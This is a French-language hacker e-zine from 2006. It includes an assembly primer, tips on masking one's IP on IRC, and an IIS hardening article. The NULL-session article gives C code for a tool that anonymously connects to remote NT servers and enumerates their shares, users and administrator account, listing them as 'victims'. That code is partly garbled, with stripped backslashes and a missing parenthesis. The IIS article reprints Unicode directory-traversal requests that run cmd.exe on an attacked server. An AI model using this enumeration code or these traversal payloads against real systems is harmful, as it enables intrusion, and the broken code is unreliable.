_/_/_/__/_/_/ _/_/_/_/ _/_/_/_/_/ _/_/_/_/_/_/ _/_/ _/_/ _/_/ _/_/_/_/_/ _/ _/__/ _/ _/ _/ _/ _/ _/_/ _/_/_/ _/_/ _/ _/ _/__/ _/ _/_/_/_/ _/ _/_/_/ _/_/_/ _/ _/_/ _/_/ _/ _/_/ _/_/_/_/_/ _/ _/__/ _/ _/ _/ _/ _/ _/ _/_/ _/_/ _/_/_/ _/ _/ _/__/ _/ _/ _/ _/_/_/_/_/ _/_/_/_/_/_/ _/_/ _/_/ _/_/ _/_/_/_/_/ # 1 ********************************************************* * * * MAGaTTaCk Ezine 02/2006 * * * ********************************************************* http://www.magattack.net #warez.tn 888888888888888888888 s 88 ooooooooooooooo 88 s 888888888888888888888888888888888888888 S 88 888888888888888 88 SS 888888888888888888888888888888888888888 SS 88 888888888888888 88 SSS 8888 ---+ 8888 SS 88 ooooooooooooooo 88 sSSS 8888 | 8888 sSS 88 888888888888888 88 SSSSS 8888 8888 SSS 88 888888888888888 88 SSSSS 8888 < The begin ... > | 8888 SSS 88 ooooooooooooooo 88 SSSSS 8888 http://www.magattack.net 8888 SSS 88 888888888888888 88 SSSSS 8888 8888 SSS 88 888888888888888 88 SSSSS 8888 webmaster@magattack.net 8888 SSS 88 oooooooooo 88 SSSSS 8888 8888 SSS 88 8888888888 .::. 88 SSSSS 8888 cd /magattack 8888 SSS 88 oooooooooo :::: 88 SSSSS 8888 cd ezine 8888 SSS 88 8888888888 `' 88 SSSSS 8888 vi magzine#1.txt 8888 SSS 88ooooooooooooooooo88 SSSS 8888 8888 SSS 888888888888888888888__SSSS 8888 8888_____ SSS | * * * )8c8888 SSSS 888888888888888888888888888888888888888 SSS 888888888888888888888. SSS 888888888888888888888888888888888888888 SSS 888888888888888888888 \_ SSsssss oooooooooooooooooooooooooooo ssss SSS 888888888888888888888 \\ __SS 88+-8+-88============8-8==88 S SSS 888888888888888888888-. \\ \ S 8888888888888888888888888888 SSS 888888888888888888888 \\\ \\ `.__________.' ` . SSS 88O8O8O8O8O8O8O8O8O88 \\. \\______________________________`_. SSS 88 el cheapo 8O8O8O88 \\ '. \|________________________________| SS 88O8O8O8O8o8O8O8O8O88 \\ '-.___ S 888888888888888888888 /~ ~~~~~-----~~~~---.__ .---------------------------------------------------. ~--. \ \______\ __________________________________________\-------^.-----------. :' _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ `\ \ ::\ ,\_\,\_\_\_\_\\_\_\_\_\\_\_\_\_\,\_\_\_\ \ o '8o 8o . |::\ -_-_-_-_-_-_-_-_-_-_-_-_-_-___ -_-_-_ _ _ _ _ \ 8o 88 88 \ |_::\ ,\_\_\_\_\_\_\_\_\_\_\_\_\_\___\,\_\_\_\,\_\_\_\_\ \ 88 \ `:\ ,\__\_\_\_\_\_\_\_\_\_\_\_\_\ \,\_\_\_\,\_\_\_\ \ \ 88 . `:\ ,\__\_\_\_\_\_\_\_\_\_\_\_\____\ _ ,\_\_\_\_\ \ 88o .| :\ ,\____\_\_\_\_\_\_\_\_\_\_\____\ ,\_\ _,\_\_\_\ \ \ 'ooooo' :\ ,\__\\__\_______________\__\\__\,\_\_\_\,\___\_\_\ \ `\ -- -- --------------- -- -- - - - --- - - )____________ `--------------------------------------------------' *************************************************** * I-N-T-R-0-D-U-C-T-I-0-N -= MaGaTTacK =- * *************************************************** Tunis, le 17 février 2006 Objet: eZine Underground Tunisien Madame, Monsieur, nous vous souhaitons la bienvenue sur ce nouveau eZine 2006. Vous avez pu effectivement constater qu'il nous a fallut un certain temps avant de pondre ce MAGaZine. Nous tenons à remercier tout ceux qui ont participé activement ou pasivement à la conception de celui ci. Les textes ci dessous sont libre d'etre recopiés, en n'oubliant pas de recopier les noms de leurs auteurs. Problemes, fautes, commentaires ou insultes ---> webmaster@magattack.net Site : http://www.magattack.net 3-ma|l : webmaster@magattack.net Irc : dalnet #warez.tn Dans le premier MaGaZine : --------------------------- *********************************************************************************** *********************************************************************************** * Titre * Auteur * *********************************************************************************** *********************************************************************************** * Introduction sur les NULL Sessions * -= BlacKr0ot =- * *********************************************************************************** * Introduction en assembleur * -= [Mr-Fx] =- * *********************************************************************************** * How To Hide Your IP On Irc * -= t56b7 =- * *********************************************************************************** * Protection Windows-Server AVEC UN IIS * -= BlacKr0ot =- * *********************************************************************************** * 1st hack * -= Underhack =- * *********************************************************************************** * Introduction sur les firewall en gros sur IPTABLES * -= BlacKr0ot =- * *********************************************************************************** * routers / sniffing * -= Dimetra =- * *********************************************************************************** * Hacking under L|nuX (part1) * -= BlacKr0ot =- * *********************************************************************************** * Hacker des serveurs et des root facilement * -= Fireboy =- * *********************************************************************************** ************************************************************** *Introduction sur les NULL Sessions -= BlacKr0ot =- * ************************************************************** Je vais vous expliquer dans ce texte comment on peut se lier avec un serveur NT a travers une NULL session et comment peut-on avoir le nom de l´administrateur reel du system. Pour les admin qui ne peuvent pas programmer aussi, je leur conseille de lire cet article pour pouvoir au moins comprendre le API que je vais expliquer un peu plus tard ! Avec cet article on pourra au moins mieux comprendre l´entourage des serveurs NT et on pourra reconnaitre les codes notés dangereux pour les attaques. Pouvoir savoir le degré du risque est un point central qu´un ADMIN devra avoir .. Si un ADMIN est capable de reconnaitre les codes dangereux pour l´attaque en lisant un peux de KnowHow , il pourra empecher les grandes attaques. NULL Sessions sont faites en general pour pouvoir connecter un Host qui n´est pas reconnu et qui n´est pas authentifié et de le lire la liste d´informations du Server NT et pouvoir le faire entrer dans le MS network. C´est en general utilisé par les Hosts Win95/98/NT , qui n´appartiennent pas au reseau, mais qui ont besoin d´avoir les droits pour pouvoir lire les informations dans le NT. Le probleme que si "chaque" groupe ou user a un droit NULL SESSION et avec cela il aura un acces sur les ressources pour ceux qui ne sont meme pas authentifiés. Alors "chaque" groupe ou user aura un acces sur le serveur !! "Chaque" groupe ou user ne veut pas dire "n´importe" quel user ou groupe . Car il faut quand meme faire un pas dans l´authentification :). Mais on peut dire qu'un "chaque" user veut dire un "n´importe" quel user. Avec la NULL Session on peut faire ce qui suit, on peut transformer le "chaque" en "n´importe". C´est pour cela que MS a fait un nouveau groupe, ce dernier est le groupe des utilisateurs authentifiés. Ce groupe ne contient pas une NULL Session , alors le "chaque" user ne peux pas etre un "n´importe" quel user jusqu´a ce que quelqu´un trouve un exploit pour ca :) Alors on attend :) . Le code en bas est commenté pour bien pourvoir le comprendre et compredre aussi ce qui se passe vraiment, quels sont les API utilisé et comment le Nom de l´Admin va etre L0gg3d et authentifié :/ . premierement - comment peut-on faire une NULL Session : Une possibilité est : on peut faire le Net-Command avec un mot de passe vide (alors sans password :) ) en le programmant, ca peut etre comme ca: //Cette Fonction sera appelée par le Dialog qui sera en liaison avec la Listbox :) BOOL EstablishNullSession(CString TargetHost, CNTOHunterDlg* pDlg) { //Installation pour UNICODE char* pTemp = TargetHost.GetBuffer(256); WCHAR wszServ[256]; LPWSTR Server = NULL; //Conversation en Unicode MultiByteToWideChar(CP_ACP, 0, pTemp, strlen(pTemp)+1, wszServ, sizeof(wszServ)/sizeof(wszServ[0]) ); //Construction de la chaine de caractere de liaison par le IPC$, on aura besoin de ca ! Server = wszServ; LPCWSTR szIpc = L"\IPC$"; WCHAR RemoteResource[UNCLEN + 5 + 1]; // UNC len + IPC$ + NULL DWORD dwServNameLen; DWORD dwRC; //Installation des structures et Variables Win32, on aura besoin de ca ! NET_API_STATUS nas; USE_INFO_2 ui2; SHARE_INFO_1* pSHInfo1 = NULL; DWORD dwEntriesRead; DWORD dwTotalEntries; //Mettre les Valeurs du controlleur de repertoire, pour pouvoir entrer les resultats de la connection HTREEITEM machineRoot, shareRoot, userRoot, adminRoot, attribRoot; char sharename[256]; char remark[256]; if(Server == NULL || *Server == L'') { SetLastError(ERROR_INVALID_COMPUTERNAME); return FALSE; } dwServNameLen = lstrlenW( Server ); //Test pour les differentes erreurs dans la connection du String if(Server[0] != L''&& Server[1] != L'') { RemoteResource[0] = L''; RemoteResource[1] = L''; RemoteResource[2] = L''; } else { dwServNameLen -= 2; RemoteResource[0] = L''; } if(dwServNameLen >CNLEN) { SetLastError(ERROR_INVALID_COMPUTERNAME); return FALSE; } if(lstrcatW(RemoteResource, Server) == NULL) return FALSE; if(lstrcatW(RemoteResource, szIpc) == NULL) return FALSE; //Beginn, den Memory zu säubern ZeroMemory(&ui2, sizeof(ui2)); //Enregistrement de la structure de la carte reseau win32 qu´on utilisera aprés.On a besoin de ca pour pouvoir //utiliser le connect API ui2.ui2_local = NULL; ui2.ui2_remote = (LPTSTR) RemoteResource; ui2.ui2_asg_type = USE_IPC; ui2.ui2_password = (LPTSTR) L""; //Modification du Password en null ui2.ui2_username = (LPTSTR) L""; ui2.ui2_domainname = (LPTSTR) L""; //Avec ca la NULL Session sera demandée et la connection sera construite nas = NetUseAdd(NULL, 2, (LPBYTE)&ui2, NULL); dwRC = GetLastError(); if( nas == NERR_Success ) { machineRoot = pDlg->m_Victims.InsertItem(TargetHost, 0, 0, TVI_ROOT); } //Ici le NT affichera ses informations nas = NetShareEnum((char*)Server, 1, (LPBYTE*)&pSHInfo1, MAX_PREFERRED_LENGTH, &dwEntriesRead, &dwTotalEntries, NULL); dwRC = GetLastError(); if( nas == NERR_Success ) { if(dwTotalEntries > 0) { shareRoot = pDlg->m_Victims.InsertItem("Shares", machineRoot,TVI_LAST); userRoot = pDlg->m_Victims.InsertItem("Users", machineRoot,TVI_LAST); adminRoot = pDlg->m_Victims.InsertItem("Admin", machineRoot,TVI_LAST); } for(int x=0; x<(int)dwTotalEntries; x++) { //Reconversion a l´ANSI WideCharToMultiByte(CP_ACP, 0, (const unsigned short*)pSHInfo1->shi1_netname, -1, sharename, 256, NULL, NULL ); WideCharToMultiByte( CP_ACP, 0, (const unsigned short*)pSHInfo1->shi1_remark, -1, remark, 256, NULL, NULL ); CString ShareDetails = sharename; ShareDetails = ShareDetails + " - " + remark; //mettre en relation le directory avec les infos de connection attribRoot = pDlg->m_Victims.InsertItem(ShareDetails, shareRoot,TVI_LAST); pSHInfo1++; } } DoNetUserEnum(Server, pDlg, userRoot, adminRoot); //On a fini alors ce pas c´est pour la fermeture de la connection nas = NetUseDel(NULL, (LPTSTR) RemoteResource, 0); TargetHost.ReleaseBuffer(); SetLastError( nas ); return FALSE; } Ici on va maintenant voir comment on peut voir les comptes des admins et les infos ! bool GetAdmin(char* pServer, char* pUser, CString& Name) { BOOL fAdmin = FALSE; DWORD dwDomainName,dwSize,dwAdminVal; SID_NAME_USE use; PSID pUserSID = NULL; // SID pour le user int rc; int iSubCount; bool bFoundHim = 0; dwDomainName = 256; dwSize = 0; dwAdminVal = 0; iSubCount = 0; //demande API d´information sur le SiZE du Buffer, car on peut pas savoir la taille en avant sans rien faire :( rc = LookupAccountName(pServer, pUser, pUserSID, &dwSize, szDomainName, &dwDomainName, &use ); rc = GetLastError(); //Mettre un gros Buffer dans de gros morceaux if(rc == ERROR_INSUFFICIENT_BUFFER) { pUserSID = (PSID) malloc(dwSize); //On va recommencer le meme pas pour la demande car maintenant on connait la taille du Buffer rc = LookupAccountName(pServer, pUser, pUserSID, &dwSize, szDomainName, &dwDomainName, &use ); } //scan des SIDS et recherche de la clé - ADMIN == 500 //Importation de la liste SID's iSubCount = (int)*(GetSidSubAuthorityCount(pUserSID)); //le SID de l´admin est le dernier dans la liste dwAdminVal = *(GetSidSubAuthority(pUserSID, iSubCount-1)); if(dwAdminVal==500) //Un test pour voir si ce qu´on a est celui de l´admin ou non .. { Name.Format("Admin is %s\%s ", szDomainName, pUser); bFoundHim = true; } delete pUserSID; return bFoundHim; //On connait maintenant le proprietaire du SID qu´on a, alors on va le mettre dans la liste des directory } On va voir maintenant comment on peut lister les users et les groupes ... void DoNetUserEnum(const wchar_t* pServer, CNTOHunterDlg* pDlg, HTREEITEM userRoot, HTREEITEM adminRoot) { USER_INFO_10 *pUserbuf, *pCurUser; DWORD dwRead, dwRemaining, dwResume, dwRC; char userName[256]; char userServer[256]; dwResume = 0; if(pServer[0] != L'' && pServer[1] != L'') { RemoteResource[0] = L''; RemoteResource[1] = L''; RemoteResource[2] = L''; } else { dwServNameLen -= 2; RemoteResource[0] = L''; } if(dwServNameLen > CNLEN) { SetLastError(ERROR_INVALID_COMPUTERNAME); return; } if(lstrcatW(RemoteResource, pServer) == NULL) return; do { pUserbuf = NULL; //NT utilise cette fonction pour affichier la liste des users dwRC = NetUserEnum(RemoteResource, 10, 0, (BYTE**) &pUserbuf, 1024, &dwRead, &dwRemaining, &dwResume); if (dwRC != ERROR_MORE_DATA && dwRC != ERROR_SUCCESS) break; DWORD i; for(i = 0, pCurUser = pUserbuf; i < dwRead; ++i, ++pCurUser) { // Convertion a l´ANSI. WideCharToMultiByte( CP_ACP, 0, pCurUser->usri10_name, -1, userName, 256, NULL, NULL ); WideCharToMultiByte( CP_ACP, 0, pServer, -1, userServer, 256, NULL, NULL ); if(!GotAdmin) { CString Admin; GotAdmin = GetAdmin(userServer, userName, Admin); if(GotAdmin { Admin.TrimRight(); HTREEITEM adminChild = pDlg->m_Victims.InsertItem(Admin, adminRoot, TVI_LAST); pDlg->m_Victims.EnsureVisible(adminChild); } } CString strUserName = userName; pDlg->m_Victims.InsertItem(strUserName, userRoot, TVI_LAST); } if (pUserbuf != NULL) NetApiBufferFree(pUserbuf); } while (dwRC == ERROR_MORE_DATA); if (dwRC != ERROR_SUCCESS) printf("NUE() returned %lu ", dwRC); } Fin alors c´etait une petite intro sur les NULL session :/ j´espere que vous avez au moins retenu quelque chose !! j´essayerai d'améliorer :p ****************************************************** * Introduction en assembleur -= [Mr-Fx] =- * ****************************************************** l'assembleur introduction: l'assembleur est un langage bas niveau qui est mieux adapte au langage de la machine que le langage humain il est différent des autres langages haut niveau tel que le c,cpp,java,pascal mais ca n'empêche qu'il est utile de l'apprendre pour plein de besoins différents ;) bein avant tout il existe différents types d'assembleurs et ils dépendent du µprocesseur dans cet article on va s'intéresser a 8086 celui d'Intel 1)Structure de programme en assembleur: le programme en asm débute comme presque tout les autres langages par une déclaration data SEGMENT; --->on déclare ici le début du segment des données Déclaration des données par ici ; data END; ----->déclaration de la fin du segment des données ASSUME DS:data,CS:prog; //chargement des données déclarées et le nom de la structure qui va contenir la structure de programme principal ici c "prog"// prog SEGMENT; ===> début du segment des instructions begin : place à la première instruction; instruction instruction instruction ... END prog; ===> fin du segment des instructions END begin; ===> fin a ce stade la vous allez dire mais c’est quoi ce bordel plein de choses incompréhensibles. Ne vous inquiétez pas, on va essayer d'enlever toutes les énigmes petit a petit. 2)les registres : avant tout pour programmer en assembleur il faut bien connaître les registres et leur fonctionnement il existe 3 types de registres: - registres généraux - registres de segment - registres d'états a)les registres généraux et leur fonctionnement : ce sont les les registres nécessaire surtout pour les opérations de calcul ___________________________________________________________________ | Nom | Fonctionnement | --------- --------------------------------------------------------- | Ax | sert aux opérations arithmétiques (somme,produit) | --------- --------------------------------------------------------- | Bx | comme le Ax et en plus il peut calculer les adresses | --------- --------------------------------------------------------- | Cx | compteur de boucles | --------- --------------------------------------------------------- | Dx | ce registre contient les adresses des entrées/sorties | --------- --------------------------------------------------------- chacun de ces registres contient un niveau haut AH,BH... et un niveau bas AL,BL... ils sont sur 16 bits alors si on veut les rendre sur 32 bits on ajoute E devant le nom de chaque registre exemple EAX,EBX ...... chacun de ces registre peut contenir une valeur dépendante de sa capacité AX=65535, AL=256 ... b)les registres de segment : afin de chercher et d'enregistrer l'ordinateur a besoin d'adresses _____________________________________________________________________________ | Nom | Fonctionnement | | --------- ------------------------------------------------------------------ | CS | adresse de memoire qui contient le code du prog|Code segment | --------- ------------------------------------------------------------------ | DS | adresse contenant les données definies |DATA Segment | --------- ------------------------------------------------------------------ | SS | @ de la pile qui contient des données temporaire|Stack segment | --------- ------------------------------------------------------------------ | ES | @ du zone supplimentaire |Extra segment | --------- ------------------------------------------------------------------ 3)les instructions: bein comme pour tous les langages l'assembleur a besoin des instructions pour fonctionner. Exemple : ___________________________________________________________________ | Nom | Fonctionnement | --------- --------------------------------------------------------- | ADD | fait la somme | --------- --------------------------------------------------------- | MOV | AFFECTATION | --------- --------------------------------------------------------- | CMP | pour la comparaison | --------- --------------------------------------------------------- | INC | incrémentation | --------- --------------------------------------------------------- 4)les interruptions : les interruptions sont liées principalement a l'utilisation des périphériques système tel que l'imprimante, le clavier , l'écran exemples : ___________________________________________________________________ | Nom | Fonctionnement | --------- --------------------------------------------------------- | int 21 | affichage a l'écran | --------- --------------------------------------------------------- | int 16 | lecture du clavier | --------- --------------------------------------------------------- | int 14 | pour la comparaison | --------- --------------------------------------------------------- 5)les variables en assembleur: ici on va mettre les types des variables qui peuvent etre contenues dans la structure Data SEGMENT ici ou on va declarer les variables data END Les differents types ___________________________________________________________________ | Nom | Fonctionnement | --------- --------------------------------------------------------- | DB | equivalent a CHAR en C | --------- --------------------------------------------------------- | DW | equivalent a int en C | --------- --------------------------------------------------------- | DD | equivalent a float | --------- --------------------------------------------------------- 6)l'instruction MOV: MOV est la plus importante instruction de l'assembleur elle permet de transferer le contenu de l'operande a de droite a celle de la gauche comme ça MOV AH,BH le contenu de BH --> AH 7) les commentaires : les commentaires en assembleur se situent après un ; exemple : ;commentaire 8)Notre premier programme en Assembleur: ce petit programme va nous permettre d'afficher le caractère 'A' : code segment ASSUME cs:code main:mov ah,"A" ;fonction main dans le programme MOV dl,ah MOV ah,02 ;fonction d'affichage INT 21h ;interruption du retour sous dos MOV ah,4ch ;fermeture retour au system d'exploitation INT 21h ;interruption du retour sous dos code ends ;fermeture du code END main ;fermeture de la fonction main ********************************************************* *How To Hide Your IP On Irc -= t56b7 =- * ********************************************************* Sommaire 1 Préambule 2 Enregistrement 3 BNC 4 /Sethost 5 Proxy 6 Reverse dns 7 Th3 End 1 Préambule Suite aux plusieurs demandes sur des forums et sur IRC, j'ai décidé d'écrire un petit texte sur les moyens de cacher son IP sur IRC. Tout d'abord je voudrais donner quelques conseils : - Eviter mIRC (son CTCP version est un peu compliqué a modifier) prendre de préférence Xchat (version win32 sur xchat.org). Si vous êtes sous linux ou *BSD je vous conseille irssi (irssi.org). Le CTCP version donne trop d'informations sur l'utilisateur : version du client et de l'OS. - Préférez le SSL a la connexion classique (xchat et irssi sont compatibles ssl contrairement a mIRC). 2 Enregistrement Avant de voir les techniques suivantes il faut d'abord s'enregister sur le réseau IRC (pourquoi faire compliqué quand on peut faire simple). Certains réseaux cachent automatiquement l'IP après l'enregistrement. L'IP apparait alors sous forme cryptée : 77371C95.7FFFFCB9.393FD48A.IP. D'autres réseaux cachent l'IP après avoir fait un /mode nick +x ou /mode nick +h après l'enregistrement et l'identification. Le nom de l'host apparait sous la forme de ni 3 Les BNC (bouncers) sont des proxy spécial irc. Pour utiliser un bnc, il faut avoir un shell chez un provider payant. Le shell provider propose des vhost (virtual host) qui cacheront votre host ou adresse IP. Super article sur le sujet sur : dar-net.com . A noter que psybnc garde le nick connecté après la fermeture du client irc contrairement au bnc classique : idéal pour les utilisateurs de connexions 56k. 4 /sethost Si vous posseder des droits de IRCOP sur un serveur (/oper nick pass) vous pouvez utiliser la commande /sethost hostvoulu pour changer le hostname. 5 Proxy Bon vous savez tout ce que c'est je ne vais pas expliquer... Mais ce n'est pas une méthode que je conseille pour trois raisons : * La plupart des serveurs scannent les ports des proxy/socks par défaut et coupent la connexion s´ils découvrent que vous essayez de cacher votre identité. * En général les proxy loggent tout ce que vous faites et moi j'aime pas ça. * Rares sont les proxy qui acceptent les connexions irc. 6 Reverse dns La dernière possibilité est de demander a votre isp (fai) de faire un reverse dns sur votre ip. Cette technique est très utilisée par les membres de teams. A la place de t56b7@216.239.51.99 vous aurez t56b7@watsar.c.la . Je sais que les ips français le font pour une dizaine d'euros par an mais pour les isp tunisiens je sais pas. 7 Th3 End Voilà c'est terminé, j'espère que ça vous a un peu éclairé l'esprit. Greetz to : all the members of W@7$@R, Linus Torvalds, Richard Michel Stallman, www.debian.org and www.freebsd.org. Si j'ai fait des erreurs ou des oublis envoyez moi un message privé sur le forum de magattack ou -=www.watsar.c.la=- ***************************************************************** * Protection Windows-Server AVEC UN IIS -= BlacKr0ot =- * ***************************************************************** Premierement je voudrais vous dire que chaque serveur qui n´offre aucun service (ssh, http, smtp, ..) n´est pas trop ou n´est pas presque vulnerable ..! La plupart des utilisateurs utilisant un serveur windows utilise le IIS (=Internet Information Server). Et le IIS est le point d´attaque principal de la plupart des Hackers (l4m3rZ :p )! Ce produit m|cr0$0ft est, comme la plupart des produits m|cr0$0ft, trop vulnerable et contient trop de BugS. En general, conseil pour les admins sous winzows, il faudrait toujours installer des patchs de securité pour pouvoir etre toujours a jour (bill gates nous vous oublie pas, il vous nique avec les bugs ensuite il vous donne des patchs aprés etre niqué :) trop tard NON ? mais mieux vaut tard que jamais !! ). ici --> [http://www.microsoft.com/technet/treevie...in/ms02-018.asp] Mais bill gates vous a fait un tool pour tester les patchs installés et avoir une liste des patchs a installer et ceux qui sont deja installés :) . ici --> [http://www.microsoft.com/technet/treevie...ls/hfnetchk.asp] le plus chiant dans les windows-server est deja l´installation car il faudra desactiver les composants qui ne vous sont pas utiles, je veux dire par la par exemple, il faudra desactiver le FTP-server sinon il sera automatiquement installé avec le IIS. voici quelques BUGS qui sont un peu connus: Unicode-Bug, transversal directory scripting, ASP-Bug et ISAPI-Bug etc ... La plupart des attaquants utilisent pour leurs attaques le UNICODE-BUG. Ce dernier est trop facile a exploiter et trop faillible, exploitable par des outils deja presents (click-tool) pour les Scr|pt-K|dd|3s :) ou bien avec une simple commande dans le web-browser. En tout cas on trouve presque 303 Unicode-Bugs. Le Unicode-bug est basé sur une tres simple idée. Avec le retour de repertoire, avec le signe /../ dans le Browser tu peux remonter d´un repertoire. Si le fameux /../ marche et fonctionne sur le serveur, alors on pourra remonter jussqu´au repertoire racine ou repertoire principal et de la bas executer et faire des choses qui pourront endommager le serveur ou nous donner des infos qu´on cherche !! Mais M|cr0$0ft aprés avoir fait et decouvert ce BUG, ils ont dit que ce sont des choses illegales. Quand meme les ingenieurs de m|cr0$0ft ne sont pas aussi cons pour faire un bug comme celui la et de rien dire, ils ont au moins dit que c´est illegal de faire ca :) Alors aprés on a cherché et trouvé que si on changeait les lignes de commandes en UNICODE et les entrait dans le web-browser ca marcherait . et ops ! ca marche .. Et les ingenieurs qui travaillent chez le cher BILL GATES ont eté les plus cons au monde et ils n´ont pas pensé a la conversion en UNICODE :) .. alors on a dit que si on arrive au fichier cmd.exe (=le Dos de Windows) et de la changer les commandes en unicode et les taper dans le browser en passant par le cmd.exe on pourra faire ce qu´on veut, on dirait qu'on est en mode console devant le PC :) alors si on maitrise le cmd , on a le control complet de cette becane !! On arrete de parler du BUG et allant au choses plus importante ! on passe a la realité maintenant et on va voir quel sont les fichiers qu´on pourrai utiliser ! 1-debug.exe MS-DOS Debugger 2-edit.exe MS-DOS Editor 3-edlin.exe MS-DOS Editor 4-ftp.exe FTP Client 5-finger.exe Finger Client 6-nbtstat.exe NetBT-Statistik 7-qbasic.exe MS-DOS Quick Basic 8-rpc.exe, rexec.exe, rsh.exe R-Utilities 9-setfixup.exe ---------------------- 10-telnet.exe Telnet Client 11-tftp.exe Trivial FTP Client 12-arp.exe Change the ARP-Caches 13-at.exe Scheduler 14-cacls.exe ---------------------- 15-cmd.exe Console 16-ipconfig.exe Show the IP-configuration 17-net.exe, net1.exe configuration of Users and Shares 18-netstat.exe Show the Network-Information 19-nslookup.exe ---------------------- 20-ntbackup.exe Backup-Program 21-ping.exe ICMP Echo Utility 22-rdisk.exe Make Boot-Disk 23-regedit.exe, regedt32.exe Registry Editor 24-route.exe Routing-Table configutation 25-runonce.exe Start Program on Start-up 26-syskey.exe Decrypter of SAM-files 27-tracert.exe Traceroute Utility 28-winmsd.exe System information 29-xcopy.exe Copy files 30-cscript.exe, wscript.exe Windows Scripting Host Ce sont tous les fichiers ou presque qui sont utilisé par l´attaquant. Conseil pour les Admins :P : Gravez au moin ces fichiers sur un CD et effacer les de votre serveur et recopier les quand vous aurez besoin de ces fichiers !! En dehors de ca, le hacker utilise les programmes et les repertoires standards. Ca reste aussi sans probleme si on fait une restriction des repertoires virtuels !! On change les droits de lecture, ecriture et execution . 1- ftpdata --> d:\ftproot\ftpdata 2- incoming --> d:\ftproot\incoming 3- bilder --> d:\ftproot\images 4- skripte --> d:\ftproot\script 5- start --> d:\ftproot\start Par exemple on peut mettre le droit d´ecriture et suppression que pour les administrateurs. Et bien sur aussi, ne pas laisser une session IIS tourner sous un droit d´admin ! Sinon un simple compte IIS-System aura tous les droits admin, car le hacker aura automatiquement le statut du user sur lequel le IIS tourne. et de la effacer et faire ce qu´il voudra !! En plus, on devrait faire un fichier pour les logs de IIS. Ce fichier de log sera a chaque redemarrage copié et deplacé dans un autre repertoire qui seront tous les deux protegés en ecriture . Au moins au cas ou le serveur serait attaqué, on pourra retrouver les traces du hacker et les actions qui ne sont pas effacé. Car chaque hacker essayera de supprimer ses traces et enpreintes qu'il a laissées derriere lui ! alors si on fait un petit *.BAT qui copiera le log dans un autre fichier qui sera un peu caché, ce dernier ne sera pas supprimé par le hacker :) ----logs_save.bat---- echo off copy /Y c:\winnt\logfile\W3SVC1\*.* d:\inet-server\logs\ attrib d:\inet-server\logs\*.* +H +A +R +S /S /D --------------------- et aprés tout simplement mettre le fichier dans le \menu demarrer\demarrage\ :) On devrai aussi, en tant qu´Admin regharder et jeter un coup d´oeil dans tous les logs pour voir la construction au moins de ces fichiers . Emplacement des Logs: c:\winnt\system32\logfile\msftpsvc1\*.log ( = Logfiles de FTP-Server) c:\winnt\system32\logfile\w3svc1\*.log ( = Logfiles de HTTP-Server) [DATE] [TIME] [c-IP] [c-User] [s-IP] [s-Port] [cs-Method] [cs-Uri-Stem] [cs-Uri-Query] [sc-Status] [cs-UserAgent] 2002-07-06 18:18:03 127.0.0.1 - 127.0.0.1 80 GET /iisHelp/iis/misc/default.asp - 200 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) 2002-07-06 18:18:03 127.0.0.1 - 127.0.0.1 80 GET /iisHelp/iis/misc/contents.asp - 200 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) 2002-07-06 18:18:03 127.0.0.1 - 127.0.0.1 80 GET /iisHelp/iis/misc/navbar.asp - 200 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) 2002-07-06 18:18:03 127.0.0.1 - 127.0.0.1 80 GET /iisHelp/iis/htm/core/iiwltop.htm - 200 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) 2002-07-06 18:18:03 127.0.0.1 - 127.0.0.1 80 GET /iisHelp/iis/misc/Cont.gif - 200 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) 2002-07-06 18:18:03 127.0.0.1 - 127.0.0.1 80 GET /iisHelp/iis/misc/NoIndex.gif - 200 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) Voila maintenant un log reel copié d´un serveur. Ce dernier est une victime de m|cr0$0ft :P Grand merci a ce serveur allemand :p [DATE] [TIME] [c-IP] [c-User] [s-IP] [s-Port] [cs-Method] [cs-Uri-Stem] [cs-Uri-Query] [sc-Status] [cs-UserAgent] 2002-07-18 17:36:20 XXX.XXX.XXX.XXX - YYY.YYY.YYY.YYY 80 GET /winnt/system32/cmd.exe /c+dir 404 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) 2002-07-18 17:36:49 XXX.XXX.XXX.XXX - YYY.YYY.YYY.YYY 80 GET /scripts/..%5c..%5cwinnt/system32/cmd.exe /c+dir 200 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) 2002-07-18 17:37:26 XXX.XXX.XXX.XXX - YYY.YYY.YYY.YYY 80 GET /scripts/..%5c..%5cwinnt/system32/cmd.exe /c+dir 200 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) 2002-07-18 17:39:02 XXX.XXX.XXX.XXX - YYY.YYY.YYY.YYY 80 GET /scripts/..%5c..%5cwinnt/system32/cmd.exe /c+dir 200 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) 2002-07-18 17:39:10 XXX.XXX.XXX.XXX - YYY.YYY.YYY.YYY 80 GET /scripts/..%5c..%5cwinnt/system32/cmd.exe /c+dir 200 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) 2002-07-18 17:39:20 XXX.XXX.XXX.XXX - YYY.YYY.YYY.YYY 80 GET /scripts/..%5c..%5cwinnt/system32/cmd.exe /c+dir 200 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) 2002-07-18 17:39:33 XXX.XXX.XXX.XXX - YYY.YYY.YYY.YYY 80 GET /scripts/..%5c..%5cwinnt/system32/cmd.exe /c+dir 200 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) 2002-07-18 17:39:42 XXX.XXX.XXX.XXX - YYY.YYY.YYY.YYY 80 GET /scripts/..%5c..%5cwinnt/system32/cmd.exe /c+dir 200 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) 2002-07-18 17:39:50 XXX.XXX.XXX.XXX - YYY.YYY.YYY.YYY 80 GET /scripts/..%5c..%5cwinnt/system32/cmd.exe /c+dir 200 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) 2002-07-18 17:39:58 XXX.XXX.XXX.XXX - YYY.YYY.YYY.YYY 80 GET /scripts/..%5c..%5cwinnt/system32/cmd.exe /c+dir 200 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) Pour des raisons de securités j´ai pas affiché mon IP et l´ip du serveur . N.b 